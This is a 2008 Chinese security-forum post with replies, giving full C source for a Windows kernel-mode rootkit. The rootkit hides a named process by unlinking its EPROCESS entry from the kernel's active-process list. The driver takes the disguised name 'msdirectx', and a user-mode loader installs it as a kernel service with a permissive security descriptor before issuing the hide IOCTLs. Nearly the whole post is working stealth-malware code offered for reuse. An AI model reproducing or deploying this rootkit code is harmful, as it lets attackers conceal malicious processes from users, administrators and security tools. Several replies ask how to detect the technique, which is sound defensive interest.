首页
社区
课程
招聘
[原创]直接修改内核对象隐藏进程
发表于: 2008-5-12 10:13 105101

[原创]直接修改内核对象隐藏进程

2008-5-12 10:13
105101

Windows NT/2000/XP/2003操作系统具有描述了进程的可执行对象。Taskmgr.exe列出机器上运行的进程。ZwQuerySystemInformation 也使用这 些 对象列出运行的进程,修改这 些 对象,可以隐藏进程。
      通过遍历 在每 个进程的EPROCESS结构中引用的一个双向链表,EPROCESS结构包含一个具有指针成员FLINK和BLINK的lLIST_ENTRY结构。这两个指针分别指向当前进程描述符的前方和后方进程,通过修改这 两个指针可以隐藏指定进程。
      本程序通过用户空间程序获的进程ID,EPROCESS块 中FLINK和 PID的偏移量 ,传送给驱动程序,驱动程序修改链表隐藏进程。而通过PsGetCurrentProcess可以得到当前进程的指针,顺藤摸瓜就可找到要隐藏的进程。以下是代码。

驱动程序
#include "ntddk.h"
#include "stdio.h"
#include "stdlib.h"
typedef BOOLEAN BOOL;
typedef unsigned long DWORD;
typedef DWORD * PDWORD;

#define FILE_DEVICE_ROOTKIT      0x00002a7b

#define IOCTL_ROOTKIT_INIT            (ULONG) CTL_CODE(FILE_DEVICE_ROOTKIT, 0x01, METHOD_BUFFERED, FILE_WRITE_ACCESS)
#define IOCTL_ROOTKIT_HIDEME          (ULONG) CTL_CODE(FILE_DEVICE_ROOTKIT, 0x02, METHOD_BUFFERED, FILE_WRITE_ACCESS)
int FLINKOFFSET;   
int PIDOFFSET;
PDEVICE_OBJECT g_RootkitDevice;
const WCHAR deviceLinkBuffer[]  = L"\\DosDevices\\msdirectx";
const WCHAR deviceNameBuffer[]  = L"\\Device\\msdirectx";
#define   DebugPrint                DbgPrint   
DWORD FindProcessEPROC(int);//遍历链表寻找要隐藏的进程的函数

NTSTATUS RootkitDispatch(IN PDEVICE_OBJECT, IN PIRP);
NTSTATUS RootkitUnload(IN PDRIVER_OBJECT);
NTSTATUS RootkitDeviceControl(IN PFILE_OBJECT, IN BOOLEAN, IN PVOID,
                                                        IN ULONG, OUT PVOID, IN ULONG, IN ULONG,
                                                        OUT PIO_STATUS_BLOCK, IN PDEVICE_OBJECT
                                                        );

NTSTATUS DriverEntry(
                                   IN PDRIVER_OBJECT  DriverObject,
                                   IN PUNICODE_STRING RegistryPath
                                        )
{
       
    NTSTATUS                ntStatus;
    UNICODE_STRING          deviceNameUnicodeString;
    UNICODE_STRING          deviceLinkUnicodeString;        
    RtlInitUnicodeString (&deviceNameUnicodeString,
                          deviceNameBuffer );
    RtlInitUnicodeString (&deviceLinkUnicodeString,
                          deviceLinkBuffer );

    ntStatus = IoCreateDevice ( DriverObject,
                                0, // For driver extension
                                &deviceNameUnicodeString,
                                FILE_DEVICE_ROOTKIT,
                                0,
                                TRUE,
                                &g_RootkitDevice );

    if( NT_SUCCESS(ntStatus)) {
        ntStatus = IoCreateSymbolicLink (&deviceLinkUnicodeString,
                                         &deviceNameUnicodeString );

        DriverObject->MajorFunction[IRP_MJ_SHUTDOWN]        =
        DriverObject->MajorFunction[IRP_MJ_CREATE]          =
        DriverObject->MajorFunction[IRP_MJ_CLOSE]           =
        DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]  = RootkitDispatch;

        DriverObject->DriverUnload                          = RootkitUnload;
    }
    else
        {
        DebugPrint(("Failed to create device!\n"));
        return ntStatus;
    }

    return STATUS_SUCCESS;
}

NTSTATUS RootkitUnload(IN PDRIVER_OBJECT DriverObject)
{
    UNICODE_STRING          deviceLinkUnicodeString;
        PDEVICE_OBJECT                        p_NextObj;

        p_NextObj = DriverObject->DeviceObject;

        if (p_NextObj != NULL)
        {
                RtlInitUnicodeString( &deviceLinkUnicodeString, deviceLinkBuffer );
                IoDeleteSymbolicLink( &deviceLinkUnicodeString );
                IoDeleteDevice( DriverObject->DeviceObject );
                return STATUS_SUCCESS;
        }
        return STATUS_SUCCESS;
}
NTSTATUS
RootkitDispatch(
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP Irp
    )
{
    PIO_STACK_LOCATION      irpStack;
    PVOID                   inputBuffer;
    PVOID                   outputBuffer;
    ULONG                   inputBufferLength;
    ULONG                   outputBufferLength;
    ULONG                   ioControlCode;
        NTSTATUS                                ntstatus;
       
    ntstatus = Irp->IoStatus.Status = STATUS_SUCCESS;
    Irp->IoStatus.Information = 0;
    irpStack = IoGetCurrentIrpStackLocation (Irp);
   
    inputBuffer             = Irp->AssociatedIrp.SystemBuffer;
    inputBufferLength       = irpStack->Parameters.DeviceIoControl.InputBufferLength;
    outputBuffer            = Irp->AssociatedIrp.SystemBuffer;
    outputBufferLength      = irpStack->Parameters.DeviceIoControl.OutputBufferLength;
    ioControlCode           = irpStack->Parameters.DeviceIoControl.IoControlCode;

    switch (irpStack->MajorFunction) {
    case IRP_MJ_CREATE:
        break;

    case IRP_MJ_SHUTDOWN:
        break;

    case IRP_MJ_CLOSE:
        break;

    case IRP_MJ_DEVICE_CONTROL:
        ntstatus = RootkitDeviceControl(        irpStack->FileObject, TRUE,
                                                                                                inputBuffer, inputBufferLength,
                                                                                                outputBuffer, outputBufferLength,
                                                                                                ioControlCode, &Irp->IoStatus, DeviceObject );
        break;
    }
    IoCompleteRequest( Irp, IO_NO_INCREMENT );
    return ntstatus;   
}

NTSTATUS
RootkitDeviceControl(
    IN PFILE_OBJECT FileObject,
    IN BOOLEAN Wait,
    IN PVOID InputBuffer,
    IN ULONG InputBufferLength,
    OUT PVOID OutputBuffer,
    IN ULONG OutputBufferLength,
    IN ULONG IoControlCode,
    OUT PIO_STATUS_BLOCK IoStatus,
    IN PDEVICE_OBJECT DeviceObject
    )
{
        NTSTATUS ntStatus;
    UNICODE_STRING          deviceLinkUnicodeString;

        int        find_PID = 0;

        DWORD eproc      = 0x00000000;
        DWORD start_eproc= 0x00000000;
        PLIST_ENTRY          plist_active_procs = NULL;

        IoStatus->Status = STATUS_SUCCESS;
    IoStatus->Information = 0;

    switch ( IoControlCode )
        {

        case IOCTL_ROOTKIT_INIT:
                if ((InputBufferLength < sizeof(int) * 8) || (InputBuffer == NULL))
                {
                        IoStatus->Status = STATUS_INVALID_BUFFER_SIZE;
                        break;
                }
                PIDOFFSET       = (int) (*(int *)InputBuffer);//从用户空间得到PID和FLINKOFFSET
                FLINKOFFSET     = (int) (*((int *)InputBuffer+1));
       
        break;

        case IOCTL_ROOTKIT_HIDEME:
                if ((InputBufferLength < sizeof(DWORD)) || (InputBuffer == NULL))
                {
                        IoStatus->Status = STATUS_INVALID_BUFFER_SIZE;
                        break;
                }

                find_PID = *((DWORD *)InputBuffer);//从用户空间程序得到隐藏进程ID号
                if (find_PID == 0x00000000)
                {
                        IoStatus->Status = STATUS_INVALID_PARAMETER;
                        break;
                }
               
                eproc = FindProcessEPROC(find_PID);//通过ID号找到对应进程
                if (eproc == 0x00000000)
                {
                        IoStatus->Status = STATUS_INVALID_PARAMETER;
                        break;
                }
               
                plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET);//隐藏进程
                *((DWORD *)plist_active_procs->Blink) = (DWORD) plist_active_procs->Flink;
                *((DWORD *)plist_active_procs->Flink+1) = (DWORD) plist_active_procs->Blink;
       
          break;
         
        default:
                IoStatus->Status = STATUS_INVALID_DEVICE_REQUEST;
                break;
        }

    return IoStatus->Status;
}
DWORD FindProcessEPROC (int terminate_PID)
{
        DWORD eproc       = 0x00000000;
        int   current_PID = 0;
        int   start_PID   = 0;
        int   i_count     = 0;
        PLIST_ENTRY plist_active_procs;

       
        if (terminate_PID == 0)
                return terminate_PID;

        eproc = (DWORD) PsGetCurrentProcess();//得到当前进程的PLIST_ENTRY
        start_PID = *((DWORD*)(eproc+PIDOFFSET));//PIDOFFSET为PLIST_ENTRY中保存进程ID的偏移量。
        current_PID = start_PID;

        while(1)//遍历链表比较进程ID找到要隐藏的进程的PLIST_ENTRY
        {
                if(terminate_PID == current_PID)
                        return eproc;
                else if((i_count >= 1) && (start_PID == current_PID))
                {
                        return 0x00000000;
                }
                else {
                        plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET);
                        eproc = (DWORD) plist_active_procs->Flink;
                        eproc = eproc - FLINKOFFSET;
                        current_PID = *((int *)(eproc+PIDOFFSET));
                        i_count++;
                }
        }
}

2 用户空间程序
#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include <process.h>
#include <tlhelp32.h>
#include <string.h>
#include <winioctl.h>
#include <winsvc.h>
#include <tchar.h>
#include <stdlib.h>
#define                                SECURITY_STRING_LEN                                                        168
#define                                LG_PAGE_SIZE                                                                4096
#define                                MAX_KEY_LENGTH                                                                1024
#define                                LG_SLEEP_TIME                                                                4000

#define FILE_DEVICE_ROOTKIT      0x00002a7b
#define IOCTL_ROOTKIT_HIDEME          (ULONG) CTL_CODE(FILE_DEVICE_ROOTKIT, 0x02, METHOD_BUFFERED, FILE_WRITE_ACCESS)
#define IOCTL_ROOTKIT_INIT            (ULONG) CTL_CODE(FILE_DEVICE_ROOTKIT, 0x01, METHOD_BUFFERED, FILE_WRITE_ACCESS)
HANDLE gh_Device = INVALID_HANDLE_VALUE;
static CHAR ac_driverLabel[]="msdirectx";
static CHAR ac_driverName[]="msdirectx.sys";
DWORD pid;
HANDLE h_Device = INVALID_HANDLE_VALUE;
DWORD  d_bytesRead, d_error;
CHAR ac_driverPath[MAX_PATH];
BOOL bOsVersionInfoEx;
BOOL Found = FALSE;
CHAR acModulePath[MAX_PATH];
int  pid_offset = 0;
int  flink_offset = 0;
int  authid_offset = 0;
int  token_offset = 0;
int  privcount_offset = 0;
int  privaddr_offset  = 0;
int  sidcount_offset = 0;
int  sidaddr_offset  = 0;
char m_szDriverExt[MAX_PATH];
char DriverName[MAX_PATH];
char sz_drivername[MAX_PATH];
char m_szDriverFullPath[MAX_PATH];
PROCESSENTRY32 stProcess;

const BYTE g_szSecurity[SECURITY_STRING_LEN]=
{
        0x01,0x00,0x14,0x80,0x90,0x00,0x00,0x00,0x9c,0x00,0x00,0x00,0x14,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x02,
        0x00,0x1c,0x00,0x01,0x00,0x00,0x00,0x02,0x80,0x14,0x00,0xff,0x01,0x0f,0x00,0x01,0x01,0x00,0x00,0x00,0x00,
        0x00,0x01,0x00,0x00,0x00,0x00,0x02,0x00,0x60,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x14,0x00,0xfd,0x01,0x02,
        0x00,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x05,0x12,0x00,0x00,0x00,0x00,0x00,0x18,0x00,0xff,0x01,0x0f,0x00,
        0x01,0x02,0x00,0x00,0x00,0x00,0x00,0x05,0x20,0x00,0x00,0x00,0x20,0x02,0x00,0x00,0x00,0x00,0x14,0x00,0x8d,
        0x01,0x02,0x00,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x05,0x0b,0x00,0x00,0x00,0x00,0x00,0x18,0x00,0xfd,0x01,
        0x02,0x00,0x01,0x02,0x00,0x00,0x00,0x00,0x00,0x05,0x20,0x00,0x00,0x00,0x23,0x02,0x00,0x00,0x01,0x01,0x00,
        0x00,0x00,0x00,0x00,0x05,0x12,0x00,0x00,0x00,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x05,0x12,0x00,0x00,0x00
};

/*******************************************************************************\
*
*        函数及实现
*
\*******************************************************************************/

void PrintLastError(int errorno)
{
#if defined(DEBUG) || defined(_DEBUG)
        LPVOID        lpMsgBuf;

        if(0==errorno)
        {
                errorno=GetLastError();
        }
        FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,NULL,errorno,0,(LPTSTR) &lpMsgBuf,0,NULL);
#ifdef _CONSOLE
        printf("%s\r\n",lpMsgBuf);
#else
        MessageBox(NULL,(LPCTSTR)lpMsgBuf,"错误",MB_OK|MB_TOPMOST);
#endif
        LocalFree(lpMsgBuf);

#endif
}

bool SplitFilePath(const char* szFullPath,char* szPath,char* szFileName,char* szFileExt)
{
        char*        p,*q,*r;
        size_t        len;

        if(NULL==szFullPath)
        {
                return false;
        }
        p=(char*)szFullPath;
        len=strlen(szFullPath);
        if(szPath)
        {
                szPath[0]=0;
        }
        if(szFileName)
        {
                szFileName[0]=0;
        }
        if(szFileExt)
        {
                szFileExt[0]=0;
        }
        q=p+len;
        while(q>p)
        {
                if( *q=='\\' || *q=='/')
                {
                        break;
                }
                q--;
        }
        if(q<=p)
        {
                return false;
        }
        if(szPath)
        {
                memcpy(szPath,p,q-p+1);
                szPath[q-p+1]=0;
        }
        q++;
        p=q;
        r=NULL;
        while(*q)
        {
                if(*q=='.')
                {
                        r=q;
                }
                q++;
        }
        if(NULL==r)
        {
                if(szFileName)
                {
                        memcpy(szFileName,p,q-p+1);
                }
        }
        else
        {
                if(szFileName)
                {
                        memcpy(szFileName,p,r-p);
                        szFileName[r-p]=0;
                }
                if(szFileExt)
                {
                        memcpy(szFileExt,r+1,q-r+1);
                }
        }

        return true;
}
int        InstallDriver(const char* cszDriverName,const char* cszDriverFullPath)
{
        char        szBuf[LG_PAGE_SIZE];
        HKEY        hKey;
        DWORD        dwData;

        if( NULL==cszDriverName || NULL==cszDriverFullPath )
        {
                return -1;
        }
        memset(szBuf,0,LG_PAGE_SIZE);
        strcpy(szBuf,"SYSTEM\\CurrentControlSet\\Services\\");
        strcat(szBuf,cszDriverName);
        if(RegCreateKeyEx(HKEY_LOCAL_MACHINE,szBuf,0,"",0,KEY_ALL_ACCESS,NULL,&hKey,(LPDWORD)&dwData)!=ERROR_SUCCESS)
        {
                return -1;
        }
        strcpy(szBuf,cszDriverName);
        if(RegSetValueEx(hKey,"DisplayName",0,REG_SZ,(CONST BYTE*)szBuf,(DWORD)strlen(szBuf))!=ERROR_SUCCESS)
        {
                return -1;
        }
        dwData=1;
        if(RegSetValueEx(hKey,"ErrorControl",0,REG_DWORD,(CONST BYTE*)&dwData,sizeof(DWORD))!=ERROR_SUCCESS)
        {
                return -1;
        }
        strcpy(szBuf,"\\??\\");
        strcat(szBuf,cszDriverFullPath);
        if(RegSetValueEx(hKey,"ImagePath",0,REG_SZ,(CONST BYTE*)szBuf,(DWORD)strlen(szBuf))!=ERROR_SUCCESS)
        {
                return -1;
        }
        dwData=3;
        if(RegSetValueEx(hKey,"Start",0,REG_DWORD,(CONST BYTE*)&dwData,sizeof(DWORD))!=ERROR_SUCCESS)
        {
                return -1;
        }
        dwData=1;
        if(RegSetValueEx(hKey,"Type",0,REG_DWORD,(CONST BYTE*)&dwData,sizeof(DWORD))!=ERROR_SUCCESS)
        {
                return -1;
        }
        RegFlushKey(hKey);
        RegCloseKey(hKey);
        strcpy(szBuf,"SYSTEM\\CurrentControlSet\\Services\\");
        strcat(szBuf,cszDriverName);
        strcat(szBuf,"\\Security");
        if(RegCreateKeyEx(HKEY_LOCAL_MACHINE,szBuf,0,"",0,KEY_ALL_ACCESS,NULL,&hKey,(LPDWORD)&dwData)!=ERROR_SUCCESS)
        {
                return -1;
        }
        dwData=SECURITY_STRING_LEN;
        if(RegSetValueEx(hKey,"Security",0,REG_BINARY,g_szSecurity,dwData)!=ERROR_SUCCESS)
        {
                return -1;
        }
        RegFlushKey(hKey);
        RegCloseKey(hKey);

        return 0;
}

int CreateDriver(const char* cszDriverName,const char* cszDriverFullPath)
{
        SC_HANDLE                schManager;
        SC_HANDLE                schService;
        SERVICE_STATUS        svcStatus;
        bool                        bStopped=false;
        int                                i;

        if( NULL==cszDriverName || NULL==cszDriverFullPath )
        {
                return -1;
        }
        schManager=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
        if(NULL==schManager)
        {
                return -1;
        }
        schService=OpenService(schManager,cszDriverName,SERVICE_ALL_ACCESS);
        if(NULL!=schService)
        {
                if(ControlService(schService,SERVICE_CONTROL_INTERROGATE,&svcStatus))
                {
                        if(svcStatus.dwCurrentState!=SERVICE_STOPPED)
                        {
                                if(0==ControlService(schService,SERVICE_CONTROL_STOP,&svcStatus))
                                {
                                        CloseServiceHandle(schService);
                                        CloseServiceHandle(schManager);
                                        return -1;
                                }
                                for(i=0;i<10;i++)
                                {
                                        if( ControlService(schService,SERVICE_CONTROL_INTERROGATE,&svcStatus)==0 || svcStatus.dwCurrentState==SERVICE_STOPPED )
                                        {
                                                bStopped=true;
                                                break;
                                        }
                                        Sleep(LG_SLEEP_TIME);
                                }
                                if(!bStopped)
                                {
                                        CloseServiceHandle(schService);
                                        CloseServiceHandle(schManager);
                                        return -1;
                                }
                        }
                }
                CloseServiceHandle(schService);
                CloseServiceHandle(schManager);
                return 0;
        }
        schService=CreateService(schManager,cszDriverName,cszDriverName,SERVICE_ALL_ACCESS,SERVICE_KERNEL_DRIVER,SERVICE_SYSTEM_START,SERVICE_ERROR_NORMAL,cszDriverFullPath,NULL,NULL,NULL,NULL,NULL);
        if(NULL==schService)
        {
                CloseServiceHandle(schManager);
                return -1;
        }
        CloseServiceHandle(schService);
        CloseServiceHandle(schManager);

        return 0;
}

int StartDriver(const char* cszDriverName,const char* cszDriverFullPath)
{
        SC_HANDLE                schManager;
        SC_HANDLE                schService;
        SERVICE_STATUS        svcStatus;
        bool                        bStarted=false;
        int                                i;

        if(NULL==cszDriverName)
        {
                return -1;
        }
        if(CreateDriver(cszDriverName,cszDriverFullPath)<0)
        {
                return -1;
        }
        schManager=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
        if(NULL==schManager)
        {
                return -1;
        }
        schService=OpenService(schManager,cszDriverName,SERVICE_ALL_ACCESS);
        if(NULL==schService)
        {
                CloseServiceHandle(schManager);
                return -1;
        }
        if(ControlService(schService,SERVICE_CONTROL_INTERROGATE,&svcStatus))
        {
                if(svcStatus.dwCurrentState==SERVICE_RUNNING)
                {
                        CloseServiceHandle(schService);
                        CloseServiceHandle(schManager);
                        return 0;
                }
        }
        else if(GetLastError()!=ERROR_SERVICE_NOT_ACTIVE)
        {
                CloseServiceHandle(schService);
                CloseServiceHandle(schManager);
                return -1;
        }
        if(0==StartService(schService,0,NULL))
        {
                CloseServiceHandle(schService);
                CloseServiceHandle(schManager);
                PrintLastError(0);
                return -1;
        }
        for(i=0;i<10;i++)
        {
                if( ControlService(schService,SERVICE_CONTROL_INTERROGATE,&svcStatus) && svcStatus.dwCurrentState==SERVICE_RUNNING )
                {
                        bStarted=true;
                        break;
                }
                Sleep(LG_SLEEP_TIME);
        }
        CloseServiceHandle(schService);
        CloseServiceHandle(schManager);

        return bStarted?0:-1;
}

int StopDriver(const char* cszDriverName,const char* cszDriverFullPath)
{
        SC_HANDLE                schManager;
        SC_HANDLE                schService;
        SERVICE_STATUS        svcStatus;
        bool                        bStopped=false;
        int                                i;

        schManager=OpenSCManager(NULL,0,0);
        if(NULL==schManager)
        {
                return -1;
        }
        schService=OpenService(schManager,cszDriverName,SERVICE_ALL_ACCESS);
        if(NULL==schService)
        {
                CloseServiceHandle(schManager);
                return -1;
        }
        if(ControlService(schService,SERVICE_CONTROL_INTERROGATE,&svcStatus))
        {
                if(svcStatus.dwCurrentState!=SERVICE_STOPPED)
                {
                        if(0==ControlService(schService,SERVICE_CONTROL_STOP,&svcStatus))
                        {
                                CloseServiceHandle(schService);
                                CloseServiceHandle(schManager);
                                return -1;
                        }
                        for(i=0;i<10;i++)
                        {
                                if( ControlService(schService,SERVICE_CONTROL_INTERROGATE,&svcStatus)==0 || svcStatus.dwCurrentState==SERVICE_STOPPED )
                                {
                                        bStopped=true;
                                        break;
                                }
                                Sleep(LG_SLEEP_TIME);
                        }
                        if(!bStopped)
                        {
                                CloseServiceHandle(schService);
                                CloseServiceHandle(schManager);
                                return -1;
                        }
                }
        }
        CloseServiceHandle(schService);
        CloseServiceHandle(schManager);

        return 0;
}

int DeleteDriver(const char* cszDriverName,const char* cszDriverFullPath)
{
        SC_HANDLE                schManager;
        SC_HANDLE                schService;
        SERVICE_STATUS        svcStatus;

        schManager=OpenSCManager(NULL,0,0);
        if(NULL==schManager)
        {
                return -1;
        }
        schService=OpenService(schManager,cszDriverName,SERVICE_ALL_ACCESS);
        if(NULL==schService)
        {
                CloseServiceHandle(schManager);
                return -1;
        }
        ControlService(schService,SERVICE_CONTROL_STOP,&svcStatus);
        if(0==DeleteService(schService))
        {
                CloseServiceHandle(schService);
                CloseServiceHandle(schManager);
                return -1;
        }
        CloseServiceHandle(schService);
        CloseServiceHandle(schManager);

        return 0;
}

LONG RegDeleteKeyNT(HKEY hStartKey,LPTSTR pKeyName)
{
        DWORD        dwSubKeyLength;
        LPTSTR        pSubKey=NULL;
        TCHAR        szSubKey[MAX_KEY_LENGTH];
        HKEY        hKey;
        LONG        lRet;

        if( pKeyName && lstrlen(pKeyName) )
        {
                if((lRet=RegOpenKeyEx(hStartKey,pKeyName,0,KEY_ENUMERATE_SUB_KEYS|DELETE,&hKey))==ERROR_SUCCESS)
                {
                        while(lRet==ERROR_SUCCESS)
                        {
                                dwSubKeyLength=MAX_KEY_LENGTH;
                                lRet=RegEnumKeyEx(hKey,0,szSubKey,(LPDWORD)&dwSubKeyLength,NULL,NULL,NULL,NULL);
                                if(lRet==ERROR_NO_MORE_ITEMS)
                                {
                                        lRet=RegDeleteKey(hStartKey,pKeyName);
                                        break;
                                }
                                else if(lRet==ERROR_SUCCESS)
                                {
                                        lRet=RegDeleteKeyNT(hKey,szSubKey);
                                }
                        }
                        RegCloseKey(hKey);
                }
        }
        else
        {
                lRet=ERROR_BADKEY;
        }

        return lRet;
}

int RemoveDriver(const char* cszDriverName,const char* cszDriverFullPath)
{
        HKEY hKey;
        long errorno;
        char szBuf[LG_PAGE_SIZE];
        char szDriverName[MAX_PATH];

        memset(szBuf,0,LG_PAGE_SIZE);
        memset(szDriverName,0,MAX_PATH);
        strcpy(szDriverName,cszDriverName);
        strcpy(szBuf,"SYSTEM\\CurrentControlSet\\Services\\");
        if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,szBuf,0,KEY_ALL_ACCESS,&hKey)!=ERROR_SUCCESS)
        {
                return -1;
        }
        if((errorno=RegDeleteKeyNT(hKey,szDriverName))!=ERROR_SUCCESS)
        {
                return -1;
        }
        RegCloseKey(hKey);

        return 0;
}

DWORD HideProc(const char *ProcessName)
{
        DWORD d_bytesRead;
        DWORD success=-1;
    OSVERSIONINFOEX osvi;
        HANDLE hSnapShot;
        BOOL status;
    int  *os_offsets;
        ZeroMemory(&osvi,sizeof(OSVERSIONINFOEX));
        osvi.dwOSVersionInfoSize=sizeof(OSVERSIONINFOEX);//不同版本的Windows有不同的 PID和FLINK偏移量
        if( !(bOsVersionInfoEx = GetVersionEx ((OSVERSIONINFO *) &osvi)) )
        {
                        osvi.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
                        if (! GetVersionEx ( (OSVERSIONINFO *) &osvi) )
                        return -1;
        }

        switch (osvi.dwPlatformId)
        {
                        case VER_PLATFORM_WIN32_NT:
                                if ( osvi.dwMajorVersion == 4 && osvi.dwMinorVersion == 0)
                                {
                                        pid_offset = 148;//就用了这pid_offset和flink_offset这两个变量,别的没用,
                                        flink_offset = 152;
                                        authid_offset = 24;
                                        token_offset = 264;
                                        privcount_offset = 52;
                                        privaddr_offset  = 80;
                                        sidcount_offset = 48;
                                        sidaddr_offset  = 72;

                                        Found = TRUE;
                                }
                                else if ( osvi.dwMajorVersion == 5 && \
                                              osvi.dwMinorVersion == 0 )
                                {
                                        pid_offset = 156;
                                        flink_offset = 160;
                                        authid_offset = 0x18;
                                        token_offset = 0x12c;
                                        privcount_offset = 0x44;
                                        privaddr_offset  = 0x64;
                                        sidcount_offset = 0x3c;
                                        sidaddr_offset  = 0x58;

                                        Found = TRUE;
                                }
                                else if ( osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 1 )
                                {
                                        pid_offset = 132;
                                        flink_offset = 136;
                                        authid_offset = 24;
                                        token_offset = 200;
                                        privcount_offset = 72;
                                        privaddr_offset  = 104;
                                        sidcount_offset = 64;
                                        sidaddr_offset  = 92;

                                        Found = TRUE;
                                }
                                else if ( osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2 )
                                {
                                        pid_offset = 132;
                                        flink_offset = 136;
                                        authid_offset = 24;
                                        token_offset = 200;
                                        privcount_offset = 84;
                                        privaddr_offset  = 116;
                                        sidcount_offset = 76;
                                        sidaddr_offset  = 104;

                                        Found = TRUE;
                                }
         break;

          default:
                  fprintf(stderr, "\nOperating System Version %d.%d Not Supported!\n", osvi.dwMajorVersion, osvi.dwMinorVersion);
                  return -1;
                  break;
        }
        if (!Found)
        {
                return -1;
        }
    os_offsets = (int *)calloc(1, sizeof(int)*8);
        if (!os_offsets)
        {
                        //fprintf(stderr, "Memory allocation failed.\n");
                        return -1;
        }
        memcpy(os_offsets, &pid_offset, sizeof(int));
        memcpy(os_offsets + 1, &flink_offset, sizeof(int));
        memcpy(os_offsets + 2, &authid_offset, sizeof(int));
        memcpy(os_offsets + 3, &token_offset, sizeof(int));
        memcpy(os_offsets + 4, &privcount_offset, sizeof(int));
        memcpy(os_offsets + 5, &privaddr_offset, sizeof(int));
        memcpy(os_offsets + 6, &sidcount_offset, sizeof(int));
        memcpy(os_offsets + 7, &sidaddr_offset, sizeof(int));

        stProcess.dwSize=sizeof(stProcess);
        hSnapShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
        status=Process32First(hSnapShot,&stProcess);//用快照函数获取进程ID
        while(status)
        {
                if(!strcmp(ProcessName,stProcess.szExeFile))
                {
                    printf("the ProcessName is %s,ID is %d\n",stProcess.szExeFile,stProcess.th32ProcessID);
                        pid=stProcess.th32ProcessID;
                }
                status=Process32Next(hSnapShot,&stProcess);
        }

    h_Device=CreateFile("\\\\.\\msdirectx",GENERIC_READ+GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL);//!=INVALID_HANDLE_VALUE)
       
        if(h_Device!=INVALID_HANDLE_VALUE)
        {
             if(!DeviceIoControl(h_Device, IOCTL_ROOTKIT_INIT,
                                                        os_offsets,
                                                        sizeof(int)*8,
                                                        NULL,
                                                        0,
                                                        &d_bytesRead,
                                                        NULL))
             return -1;
         success = DeviceIoControl(h_Device,
                                        IOCTL_ROOTKIT_HIDEME,
                                        (void *) &pid,
                                        sizeof(DWORD),
                                        NULL,
                                        0,
                                        &d_bytesRead,
                                        NULL);
        }
        else
        {
                printf("can not open device\n");
                return success;
        }
        CloseHandle(h_Device);
        return success;       
}

BOOL DeleteDeviceDriver()//char *DriverName)
{
        if(0>StopDriver(DriverName,m_szDriverFullPath))
        {
                printf("StopDriver failed\n");
                return FALSE;
        }
        else if(0>RemoveDriver(DriverName,m_szDriverFullPath))
        {
                printf("Remove Driver failed\n");
                return FALSE;
        }
        return TRUE;
}
BOOL LoadDeviceDriver()//char *DriverName)
{

        if (GetCurrentDirectory(MAX_PATH, m_szDriverFullPath))
        {
                strncat(m_szDriverFullPath,"\\",MAX_PATH-strlen(m_szDriverFullPath));
                strncat(m_szDriverFullPath,"msdirectx.sys",MAX_PATH-strlen(m_szDriverFullPath));
                SplitFilePath(m_szDriverFullPath,ac_driverPath,DriverName,m_szDriverExt);
                if(0>InstallDriver(DriverName,m_szDriverFullPath))
                {
                        printf("install failed \n");
                        return FALSE;
                }
                else if(0>StartDriver(DriverName,m_szDriverFullPath))
                {
                        printf("Start failed\n");
                        return FALSE;
                }
        }

        return TRUE;
}
int main()
{
        const int PROCNAMELEN=26;
       
        char *buffer,*start,*ProcessName=new char[MAX_PATH];
        printf("输入隐藏进程名\n");
       
        scanf("%s",ProcessName);
     if(!LoadDeviceDriver())//sz_drivername))//启动驱动程序
                 return 0;
        HideProc(ProcessName);//隐藏进程
        if(!(DeleteDeviceDriver()))//sz_drivername)))
                return 0;
//        printf("Hello World!\n");
        return 0;
}
/*
void main()
{
}*/


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 7
支持
分享
最新回复 (98)
雪    币: 185
活跃值: (275)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
2
补充说明,以上程序是部分修改Rootkits-windows内核的安全防护 源码得到的。拿出给大家分享。
2008-5-12 10:17
0
雪    币: 185
活跃值: (275)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
3
忘了上传源码,补上去
上传的附件:
2008-5-12 10:51
0
雪    币: 370
活跃值: (15)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
4
哦也,我丁页你
需要驱动配合才行
2008-5-12 10:57
0
雪    币: 321
活跃值: (271)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
回帖
粉丝
5
感谢楼主分享。
2008-5-12 11:19
0
雪    币: 22
活跃值: (443)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
这个一定要顶下 测试学习下
2008-5-12 22:08
0
雪    币: 415
活跃值: (34)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
7
很强大,测试下。楼主辛苦了
2008-5-12 22:40
0
雪    币: 224
活跃值: (10)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
8
MMMMMark!
2008-5-13 12:59
0
雪    币: 381
活跃值: (140)
能力值: ( LV13,RANK:330 )
在线值:
发帖
回帖
粉丝
9
这个的确强大,收藏了,自己再改改,省得自己又要从书上往电脑里敲代码
2008-5-13 17:16
0
雪    币: 235
活跃值: (23)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
10
我想知道如何破解此法 查出你隐藏的进程
2008-5-13 17:50
0
雪    币: 266
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
,不知道能不能逃过iceswords
2008-5-14 19:49
0
